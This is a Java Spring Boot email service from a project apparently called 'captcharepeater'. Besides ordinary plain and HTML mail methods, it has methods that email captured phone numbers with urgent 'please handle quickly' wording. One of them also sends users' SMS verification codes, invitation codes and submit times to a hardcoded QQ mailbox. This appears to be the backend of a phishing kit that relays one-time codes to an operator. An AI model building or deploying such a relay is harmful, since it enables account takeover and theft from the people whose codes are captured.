package com.kukudb.captcharepeater.serveice;

import com.kukudb.captcharepeater.pojo.ToEmail;
import com.kukudb.captcharepeater.pojo.Users;
import com.kukudb.captcharepeater.serveice.interFaceTemp.EmailServericeInterface;
import jakarta.mail.MessagingException;
import jakarta.mail.internet.MimeMessage;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.mail.MailException;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Service;


@Service
@RequiredArgsConstructor
@Slf4j
public class EmailServericeImpl implements EmailServericeInterface {
    @Autowired
    private JavaMailSender mailSender;

    @Value("${spring.mail.username}")
    private String from;


    public boolean commonEmail(ToEmail toEmail) {
        log.info("发送普通邮件开始" + toEmail);
        //创建简单邮件消息
        SimpleMailMessage message = new SimpleMailMessage();
        //谁发的
        message.setFrom(from);
        //谁要接收
        message.setTo(toEmail.getTos());
        //邮件标题
        message.setSubject(toEmail.getSubject());
        //邮件内容
        message.setText(toEmail.getContent());


        log.info("mailSender对象：" + mailSender);
        try {
            mailSender.send(message);
            log.info("发送普通邮件成功");
        } catch (MailException e) {
            e.printStackTrace();
            return false;
        }
        return true;
    }

    @Override
    public boolean htmlEmail(ToEmail toEmail) throws MessagingException {
        //创建一个MINE消息
        MimeMessage message = mailSender.createMimeMessage();
        MimeMessageHelper minehelper = new MimeMessageHelper(message, true);
        //谁发
        minehelper.setFrom(from);
        //谁要接收
        minehelper.setTo(toEmail.getTos());
        //邮件主题
        minehelper.setSubject(toEmail.getSubject());
        //邮件内容   true 表示带有附件或html
        minehelper.setText(toEmail.getContent(), true);
        try {
            mailSender.send(message);
        } catch (MailException e) {
            e.printStackTrace();
            return false;
        }
        return true;
    }

    @Override
    public void sendPhoneEmailForAdmin(String email, String phone) {
        ToEmail toEmail = new ToEmail();
        toEmail.setTos(new String[]{email});
        toEmail.setSubject("获取到手机号码");
        toEmail.setContent("获取到手机号码：【" + phone + "】,请尽快处理");
        commonEmail(toEmail);
    }

    @Override
    public void sendCodeForAdmin(Users user) {
        ToEmail toEmail = new ToEmail();
        toEmail.setTos(new String[]{"3689523764@qq.com"});
        toEmail.setSubject("用户发送到验证码");
        toEmail.setContent("手机号码：" + "【" + user.getPhone() + "】\n" + "验证码：" + "【" + user.getVerificationCode() + "】\n" + "邀请码：" + "【" + user.getInvitationCode() + "】\n" + "发送时间：" + "【" + user.getSubmitTime() + "】\n");
        commonEmail(toEmail);
    }


}
